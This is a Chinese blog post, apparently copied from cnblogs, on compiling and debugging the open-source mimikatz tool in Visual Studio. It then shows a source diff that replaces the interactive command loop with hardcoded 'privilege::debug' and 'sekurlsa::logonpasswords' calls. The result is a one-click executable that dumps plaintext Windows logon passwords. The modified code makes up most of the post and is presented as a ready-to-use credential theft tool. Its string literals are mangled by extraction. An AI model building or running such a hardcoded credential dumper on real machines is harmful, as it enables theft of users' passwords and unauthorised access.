zoukankan      html  css  js  c++  java
  • 【源码阅读】VS调试mimikatz-改造法国神器mimikatz执行就获取明文密码

    0x1 概要

    记得某位同学提起在XXX得到了一个一键生成明文的工具,觉得很是神奇。。。

    然而我一看图标就知道是mimikatz,这工具是开源的,只要改两行代码就可以实现写死命令了。

    顺带讲讲编译过程中的问题和解决方法。

    0x2 详情

    调试这个工具的时候,发现新版本没生成debug模式的选项,F11调试没有对应到源代码。仔细一看原来是没有生成调试文件。

    设置让Release的程序也生成pdb文件即可。

    另外mimikatz没有debug版,所以导致有些参数被优化了。没有办法跟进具体的变量和函数,所以还需要把以下选项调成Debug模式可用的设置。

    0x3 修改

    原来的代码是程序没有接收到退出信号,就卡在循环里,直到用户输入命令然后执行,既然已经知道原理就写死命令即可实现我想要的功能。

    找到以下代码:

    #ifndef _WINDLL
            while (status != STATUS_FATAL_APP_EXIT)
            {
                    kprintf(L"
    " MIMIKATZ L" # "); fflush(stdin);
                    if(fgetws(input, ARRAYSIZE(input), stdin) && (len = wcslen(input)) && (input[0] != L'
    '))
                    {
                            if(input[len - 1] == L'
    ')
                                    input[len - 1] = L'';
                            kprintf_inputline(L"%s
    ", input); //获取参数
                            status = mimikatz_dispatchCommand(input);
                    }
    
            }
    #endif
            mimikatz_end();
            return STATUS_SUCCESS;
    

    修改后的代码:

    #ifndef _WINDLL
            while (status != STATUS_FATAL_APP_EXIT)
            {
                    //kprintf(L"
    " MIMIKATZ L" # "); fflush(stdin);
                    //if(fgetws(input, ARRAYSIZE(input), stdin) && (len = wcslen(input)) && (input[0] != L'
    '))
                    //{
                    //        if(input[len - 1] == L'
    ')
                    //                input[len - 1] = L'';
                    //        kprintf_inputline(L"%s
    ", input); //获取参数
                    //        status = mimikatz_dispatchCommand(input);
                    //}
                    //提权
                    status = mimikatz_dispatchCommand(L"privilege::debug");
                    //获取密码
                    status = mimikatz_dispatchCommand(L"sekurlsa::logonpasswords");
                    status = STATUS_FATAL_APP_EXIT;
            }
    #endif
            mimikatz_end();
            return STATUS_SUCCESS;
    

    0x4 效果

    0x5 参考

    vs:Release版本和Debug版本的区别以及转换

    http://blog.csdn.net/hust_sheng/article/details/49964217

  • 相关阅读:
    [JSOI2007][BZOJ1031] 字符加密Cipher|后缀数组
    leetcode Flatten Binary Tree to Linked List
    leetcode Pascal's Triangle
    leetcode Triangle
    leetcode Valid Palindrome
    leetcode Word Ladder
    leetcode Longest Consecutive Sequence
    leetcode Sum Root to Leaf Numbers
    leetcode Clone Graph
    leetcode Evaluate Reverse Polish Notation
  • 原文地址:https://www.cnblogs.com/17bdw/p/8321622.html
Copyright © 2011-2022 走看看